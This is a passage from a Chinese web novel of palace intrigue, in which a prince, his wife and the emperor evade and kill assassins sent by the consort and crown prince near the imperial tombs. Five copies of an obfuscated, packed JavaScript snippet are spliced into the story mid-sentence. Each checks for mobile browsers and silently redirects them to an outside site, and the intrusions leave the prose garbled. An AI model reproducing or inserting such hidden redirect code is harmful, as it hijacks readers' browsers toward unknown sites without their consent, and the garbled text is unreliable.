夜时舒关心地问道,“九姑,怎么了?可是从侯府回来后落了病根?” 她随即便朝尉迟凌看去,满眼疑问。 不是说九姑只需调理一阵子就好了吗?怎么看她爹的反应,好像九姑挺严重的? 九姑看了一眼夜庚新,心虚地低下头,回道,“奴婢怕将军冲动误事,便谎称身子不适……” 夜庚新一听,瞬间脸黑。 转头看看文岩、文墨、以及郝福,一个个全都低下头掩饰心虚。 夜时舒上前,扶起九姑,往屋内去,边走边说,“华平下手那般重,你身子本来就没好利索,别以为我不知道,你就是在逞强!走,咱们去屋里说话,别站着受累了!” 夜庚新能说什么? 女儿的心摆明了是偏向九姑的…… 尉迟凌抬手,含笑道,“岳父大人,请。” 不多时,夜时珽也从自己的院中赶了过来。 夜时舒为了让他们安心,说了这几日天牢里的生活,并感激妍妃这些天的照顾。 “王爷,你究竟犯了何事被罚进天牢?”夜庚新认真问道。 “澜贵妃想让朝廷发兵对付华湘阁,本王与她在御前起了争执。”尉迟凌平静地开口。 他用的是‘澜贵妃’,而不是‘母妃’。夜庚新和夜时珽父子俩相视了一眼,都听出了一些不对劲儿。 但夜庚新没往深处想,接着试探地问道,“丞相夫人的死,不知王爷如何看?” “是本王做的。” “……”夜庚新狠狠一愣。 他以为是老二媳妇做的,毕竟能那般神不知鬼不觉地让人发怪病,只有老二媳妇才有那本事。 没想到,竟是承王亲自动的手! “王爷……”回过神的他还想再发问。 “爹,王爷和小妹这几日都没休息好,先让他们去休息吧。”夜时珽忍不住打断他,然后吩咐郝福,“郝叔,快让人准备热汤和吃食,送悦心院去。” “是!”郝福笑着离开了。 “是啊,好几日都没洗澡了,再不洗,我都担心要长虱子了!”夜时舒赶紧起身,并拉着尉迟凌离开,还不忘招呼,“爹、大哥、九姑,我们先去收拾收拾,回头再说哈!” 目送他们小夫妻离去,夜庚新还有些不甘心,毕竟说话说一半,这不是故意吊他胃口嘛! 夜时珽起身,正色道,“爹,您知晓就行,别问那么多。” “可我……” “爹,我们现在与王爷同乘一船,不论风浪多大,我们只需为他和小妹掌好舵即可。至于这船往何处行驶,我们无需过问。” 夜庚新神色沉肃起来。 承王敢对丞相府夫人出手,这就说明他有了与太子较量的心思。 儿子说得没错,他们夜家现在在承王的船上,他们只有辅佐承王上位这一条路可走! …… 悦心院。 下人送来热水,夜时舒迫不及待地就要洗澡。 奈何某爷比她还急,打发了下人后搂着她就是一番缠吻。 “唔……”夜时舒被他吻得浑身发软,喘息着推他,“先洗……” 尉迟凌连拉带扯褪去彼此衣物,然后抱着她一同进了浴桶。 半桶水瞬间溢出,伴随着水花,湿了一地。 “王爷,皇上派人来了!”文墨领着一名宫人前来。 然,下一刻,听着房里的动静,他尴尬地涨红了脸,转身对宫人说道,“那个,我家王爷这会儿怕是出不来……” 屋内的声音同样让宫人有些尴尬,于是笑道,“不急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136969|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,奴才去外面等着便是。” 文墨赶紧把人带离。 屋内。 水哗声停歇。 夜时舒挂在尉迟凌身上,对着他宽厚的肩连拍了好几下。 餍足的男人非但没恼,反而笑得十分得意,低头在她粉腻的脖间又吮吸起来。 “别……外面还有人等着呢……去看看……”察觉到他还要继续的心思,夜时舒赶紧推他。 他们刚从宫里回来,又要宣他们进宫,以帝王的性子,没道理这么逗着他们玩。 肯定有什么急事。 尉迟凌从她香颈中抬起头,不满地道,“本王又没求人来,等就等吧!” 夜时舒拿眼神嗔着他,“先看看什么情况,万一有紧急事呢?” 尉迟凌将她身子搂紧,抵着她额头,道,“回来你得加倍补偿本王,别叫累!” 夜时舒脸红如血,不敢应也不敢拒绝。 拼武力她还有几分底气,可这种事跟他拼体力,她都怀疑他是不是偷偷吃了什么药…… …… 半个时辰后,夫妻俩穿戴一新地出现在花厅里。 那名宫人没有一丝等久的不耐烦,行了礼后恭敬地将一封信呈给尉迟凌。 尉迟凌接过信,拆开。 下一刻,他身躯僵住,眸底充满了惊讶和意外。 “王爷,奴才已将皇上的旨意带到,就不打扰您与王妃休息了。”宫人说完便转身离去。 夜时舒忍不住踮起脚去看尉迟凌手中的信,“王爷,怎么了?” 尉迟凌把信拿给她。 夜时舒接过一看,同样僵住。 皇上竟然要去皇陵,要掘皇后的坟墓开棺! …… 翌日。 宫中传出消息,帝王染了风寒,暂不上朝。 而午时左右,夜时舒和尉迟凌抵达皇陵。 尉迟晟早已在皇陵等着他们了。 “不知父皇是何意?”尉迟凌问得很直接。 “凌儿,你既然擅长医术,那你可有办法,让活人与**验亲?”尉迟晟龙颜沉着,也很直接。 尉迟凌看着不远处气派的墓穴,低声问道,“这是皇后娘娘的墓穴,不知道父皇想让谁与皇后娘娘验亲?” “你。” 第152章 硬闯寝宫 尉迟凌身子一震,眸光惊诧地瞪大。 尉迟晟背着手,望着不远处的墓穴,低沉道来,“当年皇后与澜贵妃同日分娩,恰巧朕在城外审查灾情,无法赶回宫中。” “这些年,朕从未怀疑任何,直到朕让吴钺去调查凤栖宫宫人的去向,才发现其中大有猫腻。曾经在凤栖宫当差的宫人无一生还,且同年同月离世。” “回想这些年澜贵妃对你的种种,朕不得不怀疑,你才是皇后所生!” 随着他最后一句话说出,尉迟凌身体绷得笔直僵硬,双手攥紧着拳头微微颤栗。 夜时舒握住他一侧拳头,无声地安抚他情绪。 她能理解他此时的心情。 他们怀疑与澜贵妃的关系,可‘生母’这二字太沉重了,稍有不当便能被世人的口水喷死,所以他们目前仅能做的就是试探,不停地试探,让澜贵妃自己露出马脚。 眼下,帝王亲口道出对此事的怀疑,这叫他们如何不激动? 将儿子激动的情绪收入眼中,尉迟晟复问道,“凌儿,朕只听说过活人滴血验亲,如今皇后已成白骨,你可有办法与她验亲?” 尉迟凌松开双拳,一步一步朝墓穴靠近。 他有想过与澜贵妃滴血验亲。 可那只能验明他与澜贵妃的关系。 一旦验出他不是澜贵妃亲生子,那他的身份又将是什么? 他不敢去妄想自己与皇后的关系,就怕满怀期望会变成无尽的难堪,到时他该何去何从? “凌儿!”尉迟晟跟在他身后,沉声道,“你若有办法,朕立马让人开棺!” 尉迟凌站在高大的墓碑前,抬手抚着上面的碑文,声线低哑地回他,“父皇可有想过,若儿臣不是皇后娘娘之子,父皇冒然撅了皇后娘娘的墓穴,该如何向她交代?” 尉迟晟被他问住了。 他还真没想过这个问题…… 如果这个儿子不是皇后所出,那皇后所生的孩子又该去何处寻找? 尉迟凌在碑前低垂着头,又低声与他说道,“父皇,不用开棺,儿臣有办法找到答案!” “什么办法?”尉迟晟急声问道。 “让皇后娘娘的至亲与我验血,同样可以得到答案。” “这……” 尉迟晟皱起眉,一脸的为难。 皇后的父亲卫国公虽然在世,可其年事已高,且多年前就回祖籍养老去了。 最主要的是卫国公极为宠爱太子这个外孙,冒然宣他回京与承王验亲,定会引起轩然大波。 到时,卫国公能不能安然回京都是个问题! 尉迟凌转身,眼眶中虽然带着一丝湿润,但唇角却是含着笑,“父皇,若冒然宣卫国公回京,定会让母妃和皇兄起疑。若您信得过儿臣,不妨把此事交给儿臣去办。” “那你想如何做?”尉迟晟问道。 尉迟凌朝他走近,在他耳旁低语起来。 尉迟晟听后,眯着眼点了点头,“好!就如此办!等回宫后,朕就宣布游猎一事!” …… 帝王称病,后宫嫔妃都想表现一番自己对帝王的关心。 澜贵妃也不例外。 然而,她带着后宫妃嫔去到尉迟晟的寝宫,却被齐绥告知,“皇上服了药,正在休息,各位娘娘莫要惊扰了皇上,都请回吧。” “皇上昨日还好端端的,为何突然就病了?可是你们照顾不周,才导致皇上龙体抱恙?”澜贵妃指着他质问。 “贵妃娘娘息怒。”齐绥躬着身解释,“陆院使说皇上是近来太过劳累,加上昨日添衣不及时才导致这场风寒。” “那还不是你们照顾不利!”澜贵妃说完,朝旁边的侍卫喝道,“来人,把齐绥带下去,杖二十!” 齐绥一听,瞬间变了脸。 他这把年纪,别说二十棍了,就是几棍子只怕也能要了他的老命! 见侍卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136970|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不动,澜贵妃更是恼怒,指着侍卫道,“你们还杵着做何,是想跟他一起挨板子吗?” 侍卫们纷纷低下头。 齐绥不服气地道,“贵妃娘娘,奴才没照顾好皇上,奴才是有罪。但现在皇上需要奴才侍疾,就算要奴才领罚,也得等皇上病愈以后再领罚!” 澜贵妃冷哼,“难道这乾宁宫没了你,就没人服侍皇上了吗?给本宫下去受罚,皇上自有本宫照料!” 闻言,齐绥脸色更加难看了。 他知道这位贵妃娘娘不好相处,但没想到她竟然趁皇上龙体抱恙时如此跋扈! “贵妃娘娘,奴才是皇上的人,一切对奴才的发落,需得皇上开口。贵妃娘娘今日这般,可是要插手乾宁宫的事?” “放肆!”澜贵妃喝道,“你身为大内总管,兼执掌乾宁宫事务,却让皇上龙体抱恙,难道本宫还罚你不得?” “乾宁宫的事,轮不到贵妃娘娘操心!”齐绥也不卑躬屈膝了,直着脖子硬声回道。 “你……” “众侍卫听令,澜贵妃意图惊扰皇上休息,速将其与众妃嫔逐出乾宁宫!”齐绥不再给她说话的机会,立马对侍卫下令。 澜贵妃见状,难以置信地瞪着他,“齐绥,你好大的胆子!我们来探望皇上,你阻拦我们不说,还妄自尊大驱赶我们?你是不是有何阴谋?还是说你把皇上怎么样了?” 齐绥都想吐血了。 要是换做平日,他立马就去并报皇上,让皇上做主了。 可今日,他没法离开。 毕竟,寝宫里根本没人,若是把这些女人放进去,他又该如何解释? “贵妃娘娘,您现在代理六宫,应明事理才对。如此蛮横无理给奴才扣罪名,未免太失身份了!” “你给本宫让开!本宫今日定要见到皇上才行!”澜贵妃见使唤侍卫不行,便使唤起自己的宫人,“来人,把齐公公拉开!” 第153章 让他们一个都别想回来! 听着从身后传来的嗓音,澜贵妃同一众妃嫔转身看去。 来人不是别人,正是御前侍卫统领吴钺。 澜贵妃眼尖地看到他一头是汗,冷声斥道,“吴统领,皇上龙体抱恙,你不在寝宫当职,跑哪去了?” 吴钺上前作了一礼,然后挺着腰背回道,“陆院使说皇上需用的药方中少了一味药材,微臣腿脚快,便去宫外寻药材了。” “药材呢?”澜贵妃美目微眯,在他身上来回审视。 “药材自是取回来了。” “什么药材,拿来本宫看看!” 吴钺神色一沉,冷声道,“娘娘,您执掌后宫不假,但这是乾宁宫,还请您莫要失了仪态!” 他不再看澜贵妃的神色,目如利剑地扫视着其他妃嫔,朝侍卫喝道,“来人,把这些无召前来的闲杂人等全部拿下!” 幸好皇上让他提前回来,不然就冲澜贵妃这脾气,今日怕是要把乾宁宫给掀了! 妃嫔本来是陪着澜贵妃过来问圣安的,见澜贵妃在齐绥面前耍威风,她们也只想多看看热闹。听到吴钺无情的命令声,一众妃嫔‘啊’地化作鸟兽散,不等侍卫有下一步动作,全带着自己的宫人拼了命跑了。 剩下澜贵妃和她的宫人。 吴钺又上前了两步,铁面无情地直视着澜贵妃,“贵妃娘娘确定要进去打扰皇上养病?” 澜贵妃的气势直接被他压下一半。 她本想来乾宁宫献份殷勤,谁知道一向对她恭敬有加的齐绥竟一反常态阻拦她,当着后宫妃嫔的面如此给她难堪,这叫她颜面何存? 眼下还要被吴钺威胁…… “娘娘,既然皇上在休息,那我们晚些再过来请安吧。”陈嬷嬷扶住她,示意她别再与吴钺起争执了。 “哼!”澜贵妃只得顺着这个台阶下,但离开前仍严厉地瞪着吴钺道,“本宫晚些时候再来,若是皇上没有任何好转,看本宫如何治你们!” 目送澜霞宫的人浩浩荡荡地离去,确定他们不会折返回来后,吴钺才狠狠地吐出一口气,然后抬手抹了一把额头上的汗液。 齐绥拉着他的手往寝宫里去,不安地问他,“事办得如何了?皇上何时回来?” 吴钺皱着眉道,“担心宫里起疑,我只把皇上送到皇陵便回来了。” 齐绥焦急地在原地转了两圈,“如果真要开棺,皇上一时半会儿肯定赶不回来。这澜贵妃是越发难缠了,等一会儿她再来乾宁宫,我们该如何应付?” 吴钺锁着眉道,“没别的办法,能拖一时是一时!要再有人**,大不了全拿下,等皇上回来定夺!” 二人随即找到陆长青,让其装模作样地带着宫人去煎药。 …… 澜贵妃回到澜霞宫。 冷静下来的她越想越不对劲儿。 皇上不是没病过,但以往只要妃嫔去侍疾,皇上都会挑一人给其机会表现。 这次皇上的病来得突然不说,还拒绝任何探视,这不摆明了有猫腻吗? 再想想齐绥的反应,她忍不住问陈嬷嬷,“皇上真的病了吗?为何本宫总觉得皇上这病有些蹊跷?” 陈嬷嬷苦口婆心地道,“娘娘,不管皇上是真病还是假病,现在是多事之秋,我们还是不要去乾宁宫闹了。正所谓多一事不如少一事,您说呢?” 澜贵妃拉着脸道,“本宫去乾宁宫也是好意,若是置皇上的龙体于不顾,那才是授人话柄呢!” 陈嬷嬷没法反驳。 毕竟娘娘说的也在理。 “太子到——” 随着传报声落下,尉迟睿进了殿。 看他神色紧绷,一脸紧急的模样,澜贵妃从座起身,上前问道,“你不是在丞相府陪太子妃吗?可是为了你父皇回来?” 尉迟睿抓住她的手腕,沉声道,“娘娘,太子妃得到密报,说尉迟凌和夜时舒天刚亮就往皇陵的方向去了!” “去皇陵?”澜贵妃一头雾水,“他们去皇陵做什么?” “总之他们就是去了!” 澜贵妃双瞳突然怒放,“莫非皇上也去了?” 这下换尉迟睿不解了,“不是说父皇龙体抱恙吗?” 澜贵妃随即说起她去乾宁宫发生的事。 听完后,尉迟睿咬着牙道,“齐绥和吴钺属实反常,说不定父皇真的不在乾宁宫!” 澜贵妃的脸色阴沉起来。 没有重大的节庆,皇上没理由跑去皇陵祭祀。何况就算要祭祀,也不该如此偷偷摸摸。 最重要的是,承王也去了皇陵! 他去皇陵祭祀谁? 莫非…… 脑中现出某个念头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136971|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她身子有些不受控地颤栗。 “娘娘,您怎么了?”尉迟睿赶忙扶住她,关心地问道。 “快、快派人去皇陵!”澜贵妃激动地催促他。 “娘娘,您放心,我已经派人去了!” “不是,我是说……”澜贵妃突然压低了嗓音,在他耳边说道,“如果你父皇真与承王去了皇陵,那便让他们永远留在皇陵!” 尉迟睿狠狠僵住。 毕竟他还没想过做这种事…… “这……万一……万一失手呢?” “如果不能得逞,便这样……或者再这样……”澜贵妃又继续在他耳边低语。 “好!”尉迟睿发狠地眯起眼。 他虽然没想过父皇会过早退位,但如果机会就在眼前,他自然是要抓住的—— …… 再说皇陵这边。 接受了儿子的建议,尉迟晟打消了掘坟开棺的念头。 他带着吴钺给他留下的四名侍卫,和儿子、儿媳一同离开皇陵。 出了皇陵就是宽敞的官道,远远地就看到有一辆马车在道路旁等候。 “这是你们准备的?”尉迟晟问道。 夜时舒和尉迟凌交换了一下眼神,然后一同摇头。 尉迟晟道,“难道是吴钺准备的?” 说完他就要往马车去。 “父皇!”尉迟凌手快地拦住他。 “怎么了?” “为了父皇安危,还请父皇配合,与侍卫互换装束。” 尉迟晟望了一眼远处的马车,又看了看儿子那沉冷的神色,随即便将一名侍卫带入旁边的灌丛中,与侍卫互换了外袍和发冠。 等他们换好衣裳后,夜时舒将自己背在身后的帷帽取下,给那名侍卫戴上。 然后她和尉迟凌先往马车去。 马车旁除了一名车夫外,还有四名着装统一的男子。 车夫见到他们夫妻,恭敬地行礼问候,“参见承王殿下、参见承王妃。” “你是吴统领派来接我们的?”夜时舒微笑着问道。 “是!”车夫应道,“吴统领走得急,怕你们回城不便,便让小的和便装侍卫在此等候。” 夜时舒见尉迟晟和四名侍卫走近,主动搀住那身着金丝长袍头戴帷帽的侍卫,关切地催促道,“父皇,外面风大,快上马车吧。” 第154章 那是阁主发的信号! 侍卫配合得也极好,学着尉迟晟的样子威风地走到脚踏边,然后上了马车。 车夫随即催促道,“王爷、王妃,你们也快些上去吧,让小的早些送你们回城。” 尉迟凌沉着脸道,“不急,先把人都叫过来,本王有话要交代。” 车夫笑着问道,“王爷,您有何交代?” 尉迟凌紧抿薄唇,冷眸不满地斜视着他。 那意思明显就是:本王不想说第二遍! 车夫见状,只得把守在马车四角的便衣侍卫唤过来。 四个魁梧男子并成一排,向他们夫妻行礼。 只是下一刻,谁也没想到的事发生了—— 只见尉迟凌从腰间抽出一把软剑,以迅雷不及掩耳之势飞转身形,那软剑如白绫般从四个男子颈下划过,刹那间血花飞溅! 别说那车夫了,就连夜时舒和尉迟晟以及另外三名真正的侍卫都看呆了。 还有这样抹人脖子的! “你……”车夫回过神,惊恐地拔腿就要跑。 夜时舒立马飞身,对着他后背就是一脚! 车夫瞬间扑倒在地,摔得那叫一个惨烈和狼狈! 夜时舒落在他身侧,一脚狠狠踩上他后颈。 别看她长得娇柔,那出脚的力道完全不是旁人能体会的。车夫脸贴在地上,疼得‘啊唔’直嚎。 “饶……饶命……” “谁派你们来的?”夜时舒冷声问道。 “吴……吴统领……” “放屁!”夜时舒脱口骂道! 吴钺派来的人,竟连帝王长何模样都不清楚,这可能吗? 车夫试图从她脚下挣扎出来。 但他用力挣扎了两下后,突然发出一声痛苦的闷哼,然后嘴角的位置涌出一滩黑血。 夜时舒惊得立马收回脚。 弯下腰去扳他的头,看着那死不瞑目的双眼,她脸色大变。 尉迟凌快速将她拉开,然后查看对方的死相,脸色同样不好看。 很明显,这是有人提前给喂了毒,再某种情况下能起到灭口的作用。 穿着侍卫服的尉迟晟走到他们身侧,铁青着脸问道,“是否能查出对方身份?” 尉迟凌低沉道,“从此人的**可看出,应是华平派来的。” “就是你说的那华湘阁叛徒?”尉迟晟不解地问他,“不是说华湘阁戒律森严吗?既是叛徒,为何会让其逍遥于世?” 尉迟凌撇了一下唇角,“那是老阁主在世时发生的事,我也不知缘由。按理说被华湘阁除名者,即便能苟活于世,也只会是个废人。而此人仍旧拥有能医善毒的本事,这其中必然有不为人知的内幕。” 他看着尉迟晟,叹道,“近来发生的事不少,您也没给我机会去处理。” 尉迟晟环视四周,转移了话题,“如此看来,那我们今日怕是不能顺利回城了。” 夜时舒冷不丁道,“若只是对付华平一人还好办,怕就怕他‘寄生’于某些人手中,帮着某些人做事。” 尉迟晟立马朝她看去。 夜时舒接着道,“父皇,不瞒您说,这华平我追查了许久,他之前帮着前裕丰侯夫人温氏、也就是我的大舅母做事,我的母亲就是被他们联手毒害的。那日丞相夫人的寿宴上所发生的一切,我们就怀疑,他现在又有了新靠山。” 她都说得如此直白了,尉迟晟岂能不懂? “你是说那人与丞相府勾结?” “儿媳现在怕的是他不光与丞相府勾结,说不定还将我们的行踪泄露给了某些人。”夜时舒说完,神色担忧地看向尉迟凌,“王爷,接下来如何安排?” 尉迟凌朝他们微微一笑,“先回皇陵吧。眼下,那里才是最安全的。至于援兵的事,我自有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136972|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办法。” 尉迟晟沉眉思索。 方才的车夫和假侍卫想接走他们,一旦他们上当,必定会落入某些人手中。 换言之,前方还有更大的埋伏。 可回城的路只有这一条,强行回城,的确太过危险。 他不敢冒险。 也不能冒险! …… 承王府。 虽然夜时舒他们对外宣称‘华神医’已经离开,且不知踪影,但顾思沫却是一直在承王府的后山上。 夜时竣是寸步不离地跟着自己媳妇。 顾思沫说想吃肉,他就陪着捉野鸡和野兔,顾思沫说想吃鱼,他就撸起裤管下河捉鱼。两个人在山里几日,都快混成野人了,可谁都不觉得苦,反而乐在其中。 天黑后,两人生着火堆烤着野味,吃得那叫一个香! “时竣,你怎么这么能干啊?我从小在山里长大,都没你这么会抓野兔!”顾思沫吃得香,也不忘夸赞他。 被媳妇崇拜,夜时竣笑得嘴都快合不上了,“这算什么?我会的东西还多着呢!找机会,我带你打老虎去!” 从小到大,他做的这些事只会挨骂,可媳妇却夸他样样好…… 谁能理解他的快乐啊! 顾思沫正要兴奋,突然发现西方的天边闪过一束异光。 她猛地从地上蹦起,然后飞向一处高地。 “芯儿,怎么了?”夜时竣追在她后面问道。 “时竣!”顾思沫把手中的兔肉一扔,抓着他手腕急声道,“那是阁主发的信号!王爷和小妹有危险!快,回王府搬救兵,去救他们!” 夜时竣望着她指的方向。 她不说,他以为那闪闪的亮光是星星呢! 对她的话,他自是不会怀疑,何况这还牵扯到他小妹的安危。于是他一点没迟疑,反手抓住她,然后往王府的方向飞去—— 第155章 王爷威武 致和将军府。 九姑在厨房忙完,一进卧房就看到房里多了三口大箱子。 她不解地看向床边的男人,“将军,这是做什么?” “咳!”夜庚新清了清嗓子,“给你的聘礼。王爷说你的事你自己做主,我寻思着你人已经在将军府了,再送去王府麻烦。” “这……”九姑愣愣地看着三口大箱子,她一个二嫁之身哪里想过会有这种东西? 夜庚新也不给她说话的机会,接着又道,“我让郝福把裕华院重置过,那里从未住过人,你抽空去看看,还缺什么就让郝福及早添置。等我们办完婚事就搬去裕华院,这主院以后就给时珽住。” 九姑皱眉道,“我住裕华院就行了,您搬去做什么?” 夜庚新一听,忍不住板起脸,“我夜家没有夫妻分院而居的习惯,你在主院不入主卧,一直住着偏房像什么样子?我想过了,反正这个家以后也是要交给时珽的,那不如趁我们成亲把主院让出来。” 九姑说不出话来,只是脸颊开始泛红。 “就如此定了!”夜庚新又恢复了霸道的口吻,“你得空了便去裕华院看看,别只顾着添置你的东西!” “嗯。”他都已经为她做到这份上了,九姑还能说什么? “快看看,这箱子里的东西你可喜欢?要是觉得不满意,我让郝福重新备过。”夜庚新朝三口箱子抬了抬下巴。 九姑上前,正要打开箱子,郝福焦急火燎地在门外喊道,“将军,不好了,出大事了!” 夜庚新起身去开门。 “出何事了?” “文护卫派人来送信,说承王殿下和三小姐极有可能遇到了危险,他已经调集上百侍卫往西面去了!” 夜庚新瞪大眼,突然想起女儿早上告诉他,说他们要去一趟皇陵,让府里不用准备他们的吃食…… “将军,我先去了!”就在他愣神之际,九姑从他身侧跑出去! “你给我站住!”夜庚新箭步追上去将她抓住,然后冲郝福喊道,“去叫大公子,让他速度召集人马前往皇陵!另派人准备快马,我要和九姑先去!” “是!” …… 夜晚的皇陵,被阴冷的气息笼罩着,在加上幽僻静谧,就是呼吸声稍大一些,也会有低吟般的回音,仿佛周围有许多见不着的人。 要是换做别的时候让夜时舒来这种地方,她可能会觉得瘆人,可今夜她恨不得尉迟家的老祖宗真的出现,毕竟比起**来,这皇陵的老祖宗们肯定是帮他们的。 “王爷,那里有处生基,要不要到里面避避?”夜时舒眼尖地发现不远有石洞。 她认识,这是给活人准备的空墓。 她母亲的墓穴旁边就有一处石洞,二哥告诉她那是父亲给自己准备的生基。 尉迟凌顺着她指的方向看去,先是微微一愣,接着朝自家父皇看去,眼神带着一丝莫名的笑意。 “父皇可要进去?” 尉迟晟望着不远处庄严宏伟的墓穴,龙颜刹那间黑沉起来。 这不是自己的…… 然而,眼下的形势容不得他多加思索,管它忌讳不忌讳,他沉声道,“进去吧!” 夜时舒是第一次来皇陵,自然不知道这处生基是谁的。站在生基入口处,她还张望了一圈,感慨道,“这墓穴真大,不知道是为谁修建的?” 尉迟晟目光剜了她一眼,道,“想要?那朕给你们也修一座?” 借着月光,夜时舒看着他黑沉的脸,顿时黑线狂掉,“……” 不会吧? 这是帝王陵墓? “咳!”尉迟凌突然搂住她肩膀,朝尉迟晟微微一笑,“多谢父皇,儿臣与舒儿的墓穴,儿臣将来会亲自挑选一处风水宝地。” 夜时舒有些哭笑不得。 这个时候说这种话,真不嫌晦气! 不过转眼一想,她好像还真有资格在这里挑一处…… 突然,远处传来异响声。 尉迟凌神色一沉,急声道,“舒儿,快带父皇进去,藏好!” “你呢?”夜时舒脱口问道。 “我一个人,更利于对付他们!”尉迟凌接着对那四名侍卫使眼色,“务必保护好皇上!” “是!”四名侍卫护着尉迟晟进了石洞。 夜时舒还想说什么,尉迟凌沉声道,“我在外面可用暗器对付,若有漏网之鱼闯进去,你负责对付!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136973|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>夜时舒一想,不再迟疑,跟在尉迟晟和侍卫后面,摸黑进了墓穴。 来了多少人对付他们,其实尉迟凌也没有数,他带头东躲西藏,其一是皇陵够大,他想拖延时间,等待援兵。其二,有父皇在,他再不畏惧敌方,也担心父皇被人伤到。 现在没了‘包袱’,他自然能放开手脚了! 月色下,十余道黑影朝石洞这边寻来。 “头儿,那里有个洞,说不定他们就躲在里面!” “慢着!”领头的黑衣人低声喝道。 “头儿,这里回城的路只有一条官道,这一路上他们都没出现,肯定是躲在皇陵中。我们在这皇陵里找了半个多时辰,连个鬼影都没看到,我敢保证,他们一定躲在这洞里!”手下很坚定自己的分析。 “若他们在里面,我们就这样闯进去,岂不是找死?”领头男子怒斥。 手下想了想,突然提议,“要不我们起火,把他们熏出来!就算熏不出来,也要把他们熏死在里面!” 领头男子笑道,“行!”不过他扫了一眼四周,空旷不说,平整得连一株野草都没有,于是招呼其余手下,“去找些木材来,越多越好!” 尉迟凌屏息静气观察着他们。 对方一共十二人。 除了说话的两人外,其余十人皆去远处寻找木材了。 而留在石洞旁守候的二人在同伴离开后,也不敢大意,紧握着手中长剑,警惕地防备着四周。 只是他们哪里算得到,螳螂捕蝉的后面还蹲着一只黄雀—— ‘唔’! 当喉结被穿透的那一刻,二人惊恐地抬手,摸着那细长的银针,痛苦、狰狞、凶狠、不甘……全充斥在脸上! 特别是看到如鬼魅出现在他们面前的尉迟凌时,二人骤放的瞳孔中更是出现了绝望。 尉迟凌没给他们留一点活路,银针封住了他们的嗓喉,他手中的软剑毫不迟疑地送他们归了西! 夜时舒就在石洞里面,听着外面的动静,小心翼翼地出来探望。 结果就看到他轻轻松松地解决两个。 “王爷威武!”她笑着跑上前,抓起一个黑衣人的脚就往墓穴里拖。 第156章 援兵赶到 很快,两个断了气的黑衣人就被她拖进墓穴,她还跑出来拿土石把地上的血迹掩盖住。 约莫一刻钟后,有两名黑衣人抱着木材回来。 到石洞边,二人惊疑地四下打量。 “头儿呢?” “怕是去附近找柴禾了吧?” “头儿也真是的,就不怕里面的人趁机跑了吗?” “怕什么?他们跑得出这洞,能跑得出皇陵?别忘了,还有上个百个兄弟在皇陵外等着呢,他们插翅也难飞回京城!” “也是!不管他们是躲着还是跑出去,今晚他们都只有死路一条!” 就在二人聊得正得意,一道黑影猝不及防地落在他们身后。 感受着杀气袭来,二人惊恐地转身。 ‘唔’! 可他们都没来得及看清楚是何人,便歪着脖子抽搐地朝地上倒去! 夜时舒又赶紧从石洞里跑出来。 夫妻俩就这么配合着,一个负责偷袭杀敌,一个负责拖尸藏匿,三次下来便轻松除掉了七人。 还有五人。 夜时舒也不往墓穴里去了,跟着尉迟凌藏在暗处,等着他们回来。 剩下的五人去了许久,回来时是一道回来的。 看到石洞旁堆起的柴禾,五人都有些诧异。 “头儿他们人呢?” “是不是嫌柴禾不够,都又去找了?” “那我们先点火熏吧!” 几人一边商量一边行动。 而就趁着他们围着柴堆准备点火时,尉迟凌和夜时舒各持软剑和利剑飞落在他们身后,手起剑落,如同砍瓜一样快准狠,不给他们任何反抗的机会—— 